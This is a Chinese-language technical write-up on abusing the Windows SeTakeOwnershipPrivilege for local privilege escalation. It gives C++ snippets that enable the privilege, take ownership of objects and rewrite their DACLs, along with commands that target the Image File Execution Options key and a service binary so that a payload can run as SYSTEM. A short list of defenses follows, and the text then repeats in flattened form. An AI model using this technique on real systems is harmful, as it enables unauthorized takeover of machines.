Token Privileges Abusing - SeTakeOwnershipPrivilege
字数 1182 2025-08-06 12:21:08

SeTakeOwnershipPrivilege 特权滥用技术分析

1. SeTakeOwnershipPrivilege 特权概述

SeTakeOwnershipPrivilege 特权在 Microsoft 官方文档中被描述为 "Take ownership of files or other objects",该特权允许进程通过授予 WRITE_OWNER 访问权限来获得对象的所有权而无需被授予任意访问权限。

2. 特权滥用原理

SeTakeOwnershipPrivilege 特权在攻击面上类似于 SeRestorePrivilege,由于可以接管任意对象,因此可以修改对象的 ACL。攻击者通过以下方式利用:

  1. 修改 Image File Execution Options 注册表
  2. 修改系统资源的 DACL
  3. 通过映像劫持、DLL 劫持或劫持服务等方法获得本地特权提升

3. 技术实现细节

3.1 基本流程

  1. 启用 SeTakeOwnershipPrivilege 特权
  2. 设置目标对象的所有者
  3. 创建新的访问控制列表(ACL)
  4. 修改目标对象的 DACL

3.2 关键API函数

  1. SetNamedSecurityInfoW() - 设置对象的安全信息
  2. SetEntriesInAclW() - 创建新的ACL
  3. GetNamedSecurityInfoW() - 获取对象的安全信息
  4. AdjustTokenPrivileges() - 调整令牌权限
  5. LookupPrivilegeValueW() - 查找特权值

3.3 代码实现关键点

3.3.1 获取令牌用户信息

PTOKEN_USER GetTokenUserInformation(HANDLE hToken) {
    DWORD dwReturnLength = 0;
    PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(sizeof(TOKEN_USER));
    
    if (GetTokenInformation(hToken, TokenUser, NULL, 0, &dwReturnLength) || GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
        pTokenUser = (PTOKEN_USER)realloc(pTokenUser, dwReturnLength *= 2);
        if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwReturnLength, &dwReturnLength)) {
            // 错误处理
        }
    }
    return pTokenUser;
}

3.3.2 启用特权

BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
    LUID luidValue = { 0 };
    TOKEN_PRIVILEGES tokenPrivileges;
    
    if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
        // 错误处理
    }
    
    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL)) {
        // 错误处理
    }
    return TRUE;
}

3.3.3 接管对象所有权

// 获取对象的安全描述符
dwRes = GetNamedSecurityInfoW(
    (LPCWSTR)pObjectName, 
    ObjectType,
    DACL_SECURITY_INFORMATION,
    NULL,
    NULL, 
    &pOldDACL, 
    NULL, 
    NULL
);

// 设置对象所有者
dwRes = SetNamedSecurityInfoW(
    pObjectName,
    ObjectType,
    OWNER_SECURITY_INFORMATION,
    pTokenUser->User.Sid,
    NULL,
    NULL,
    NULL
);

3.3.4 创建新ACL并修改DACL

// 设置显式访问权限
ea[0].grfAccessPermissions = grfAccessPermissions;
ea[0].grfAccessMode = SET_ACCESS;
ea[0].grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[0].Trustee.TrusteeType = TRUSTEE_IS_USER;
ea[0].Trustee.ptstrName = (LPWSTR)pTokenUser->User.Sid;

// 创建新ACL
dwRes = SetEntriesInAclW(1, ea, pOldDACL, &pNewDACL);

// 修改对象的DACL
dwRes = SetNamedSecurityInfoW(
    pObjectName,
    ObjectType,
    DACL_SECURITY_INFORMATION,
    NULL,
    NULL,
    pNewDACL,
    NULL
);

4. 实际利用场景

4.1 注册表劫持

接管 Image File Execution Options 注册表项:

SeTakeOwnershipPrivilege.exe -e "Registry" -t "MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"

执行后,注册表项的所有者将变为当前用户,并拥有完全控制权限,可通过reg命令设置映像劫持。

4.2 文件劫持

接管系统服务二进制文件:

SeTakeOwnershipPrivilege.exe -e "File" -t "C:\\Program Files\\TestService\\TestSrv.exe"

执行后可以替换服务二进制文件为攻击载荷,当服务重启时将获得SYSTEM权限。

5. 防御措施

  1. 最小权限原则:只授予必要的用户SeTakeOwnershipPrivilege特权
  2. 特权审计:监控特权使用情况
  3. 文件系统保护:保护关键系统文件和注册表项
  4. 服务加固:确保服务二进制文件权限设置正确

6. 完整利用代码

完整代码请参考原文中的SeTakeOwnershipPrivilege.cpp文件,包含所有上述功能的完整实现。

7. 总结

SeTakeOwnershipPrivilege特权滥用是一种有效的本地提权技术,通过接管关键系统对象的所有权并修改其权限,攻击者可以实现权限提升。防御此类攻击需要严格的特权管理和系统加固。

SeTakeOwnershipPrivilege 特权滥用技术分析 1. SeTakeOwnershipPrivilege 特权概述 SeTakeOwnershipPrivilege 特权在 Microsoft 官方文档中被描述为 "Take ownership of files or other objects",该特权允许进程通过授予 WRITE_ OWNER 访问权限来获得对象的所有权而无需被授予任意访问权限。 2. 特权滥用原理 SeTakeOwnershipPrivilege 特权在攻击面上类似于 SeRestorePrivilege,由于可以接管任意对象,因此可以修改对象的 ACL。攻击者通过以下方式利用: 修改 Image File Execution Options 注册表 修改系统资源的 DACL 通过映像劫持、DLL 劫持或劫持服务等方法获得本地特权提升 3. 技术实现细节 3.1 基本流程 启用 SeTakeOwnershipPrivilege 特权 设置目标对象的所有者 创建新的访问控制列表(ACL) 修改目标对象的 DACL 3.2 关键API函数 SetNamedSecurityInfoW() - 设置对象的安全信息 SetEntriesInAclW() - 创建新的ACL GetNamedSecurityInfoW() - 获取对象的安全信息 AdjustTokenPrivileges() - 调整令牌权限 LookupPrivilegeValueW() - 查找特权值 3.3 代码实现关键点 3.3.1 获取令牌用户信息 3.3.2 启用特权 3.3.3 接管对象所有权 3.3.4 创建新ACL并修改DACL 4. 实际利用场景 4.1 注册表劫持 接管 Image File Execution Options 注册表项: 执行后,注册表项的所有者将变为当前用户,并拥有完全控制权限,可通过reg命令设置映像劫持。 4.2 文件劫持 接管系统服务二进制文件: 执行后可以替换服务二进制文件为攻击载荷,当服务重启时将获得SYSTEM权限。 5. 防御措施 最小权限原则 :只授予必要的用户SeTakeOwnershipPrivilege特权 特权审计 :监控特权使用情况 文件系统保护 :保护关键系统文件和注册表项 服务加固 :确保服务二进制文件权限设置正确 6. 完整利用代码 完整代码请参考原文中的SeTakeOwnershipPrivilege.cpp文件,包含所有上述功能的完整实现。 7. 总结 SeTakeOwnershipPrivilege特权滥用是一种有效的本地提权技术,通过接管关键系统对象的所有权并修改其权限,攻击者可以实现权限提升。防御此类攻击需要严格的特权管理和系统加固。